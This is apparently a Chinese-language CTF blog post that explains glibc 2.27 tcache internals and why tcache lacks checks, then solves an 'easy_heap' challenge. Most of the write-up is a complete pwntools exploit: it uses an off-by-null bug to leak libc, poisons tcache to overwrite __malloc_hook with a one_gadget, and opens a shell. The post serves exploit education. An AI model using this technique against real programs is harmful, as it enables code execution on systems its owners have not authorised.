这一篇开始复习tcache

Tcache是glibc2.27后新增加的一种,结构体

1
2
3
4
5
6
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

可以看到里面就是指向下一个空间的指针

1
2
3
4
5
6
7
8
9
10
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

tcache_perthread_struct里面是两个数组个数是TCACHE_MAX_BINS(默认是64,也就是说和smallbin的范围差不多),count是各个大小tcache的实时数量(它用的是char,毕竟数不大,省空间)。
entries数组里就是各个大小Tcache的头部指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

可以看到,put(free)还是get(malloc)操作,无论是对比smallbin还是fastbin都是可以忽略不计的检查(对范围和大小进行了简单检查),
没有对齐检查,
没有inuse检查,
没有size检查,
没有链表指针检查,
基本上是你往指针域写哪儿,下一步它就跳哪儿。
Tcache是FIFO,每个Tcache最多可以放7个

简单说一下它的运行逻辑
它就像一个空间更大,更优先的容器空间(像fastbin),在一定范围里的内存都会放进去,也会优先从里面取。

  • 每一次malloc(0x400以下),先查看对应的Tcache里是否有chunk,有就返回(在libc_malloc里)。

  • 如果没有,就接着进入int_malloc,会按顺寻依次查看fastbin和smallbin中的chunk

    • 此时,如果有符合条件的chunk且Tcache没满,就把第一个返回,其余的塞到Tcache,直到Tcache满。
  • 如果遍历过程中,Tcache满了,就直接从bin中返回一个chunk(符合条件)

  • 如果还没有,执行unsorted bin大循环(在这之前还是会执行consolidate,将fastbin合并并放进unsorted bin),遍历和操作每一个,直到遍历结束或者达到上限(1000)

    • 如果遇到比我们request大的chunk,切割并返回,剩下的还是unsorted bin
    • 如果遇到和我们request一样大的chunk
      • 如果Tcache已满,直接返回
      • 如果Tcache没满,继续循环
        • 如果最后Tcahe满,直接返回
        • 如果Tcahe没满,最后从Tcache返回
    • 如果遇到比我们request小的额chunk,将其放入相应bin,并继续循环。

easy_heap

漏洞:

1
2
3
4
5
6
7
8
9
10
  while ( 1 )
{
read(0, &ptr[cursor], 1uLL);
if ( size - 1 < cursor || !ptr[cursor] || ptr[cursor] == '\n' )
break;//it will be hard to change pre_size 0f P
++cursor;
}
ptr[cursor] = 0;
ptr[size] = 0;//off by null
}

off by null实现unlink,使得正在被使用的chunk也被包含在,unsorted bin.

但是我们很难去改变pre_size,直接覆写是不行的,但是我们可以通过unsorted bin合并,使pre_size被写入,由此实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116


# coding=utf-8
from pwn import *
from LibcSearcher import *
context(log_level ='debug', arch = 'amd64',os ='linux')
io = process('./easy_heap')
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
libc = ELF('./libc-2.27_x64.so')
# io = remote('node3.buuoj.cn',26987)
def debug():
# raw_input()
gdb.attach(io)

# sla = lambda re,se:io.sendlineafter(re,se)
# sa = lambda re,se:io.sendafter(re,se)
# ru = lambda re :io.recvuntil(re)
# u64 = lambda :io.recvuntil('\x7f')[-6:].ljust(8,'\x00')
# u32 = lambda :io.recvuntil()

def add(size,content):
io.sendlineafter("command?","1")
io.sendlineafter("size",str(size))
io.sendlineafter("content",content)

def dele(index):
io.sendlineafter("command?","2")
io.sendlineafter("index",str(index))

def show(index):
io.sendlineafter("command?","3")
io.sendlineafter("index",str(index))

for i in range(0,10):
add(0xf0,"")#0 will not be freed

for i in range(3,10):#9~3 to tcache
dele(i)
#3~9 empty
for i in range(0,3):#0~2 to unsorted bin
dele(i)
#0~2 empty

for i in range(0,7): #from tcache
add(0xf0,"")#6~0


add(0xf0,"")#7 splits from the unsorted bin
add(0xf0,"")#8
add(0xf0,"")#9

for i in range(0,6):#0~6(top) to tcache
dele(i)
# 0~5 empty
dele(8)#top of the tcache
#0~5,8 empty
dele(7)#unsorted bin
#0~5,7,8 empty
add(0xf8,"")#from tcache top(8),and overflow the pre_inuse,index =0
#1~5,7,8 empty
dele(6)#fill up the tcache()
#1~8 empty
dele(9)#unlink
#1~9 empty

#clear the tcache
for i in range(0,7): #from tcache
add(0xf0,"")#6~0
#8,9 empty
add(0xf0,"")#8
add(0xf0,"")#0,9 overloop is ok

for i in range(1,8): #from tcache
dele(i)
#1~7 empty
dele(0)#consolidate it into unsorted bin
#0~7 empty

show(9)
# io.recvuntil("> ")
libc_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

print "the libc_addr ======>"+hex(libc_addr)

offset_to_libcbase = 0x3ebca0

libcbase = libc_addr - offset_to_libcbase

print "the libcbase====>"+hex(libcbase)
one = [0x4f2a5,0x4f302,0x10a2fc]

ONE = libcbase + one[2]

malloc = libcbase + libc.sym['__malloc_hook']


for i in range(7): #from tcache
add(0xf0,"")#0~6

add(0xf0,"")#7

for i in range(3): #from tcache
dele(i)

dele(7)
dele(9)

print "the malloc =====>"+hex(malloc)
add(0x10,p64(malloc))
add(0x10,p64(ONE))#
add(0x10,p64(ONE))#
# add(0x10,"")#
io.sendlineafter("command?","1")#trigger it

# debug()
io.interactive()
2022-04-24

⬆︎TOP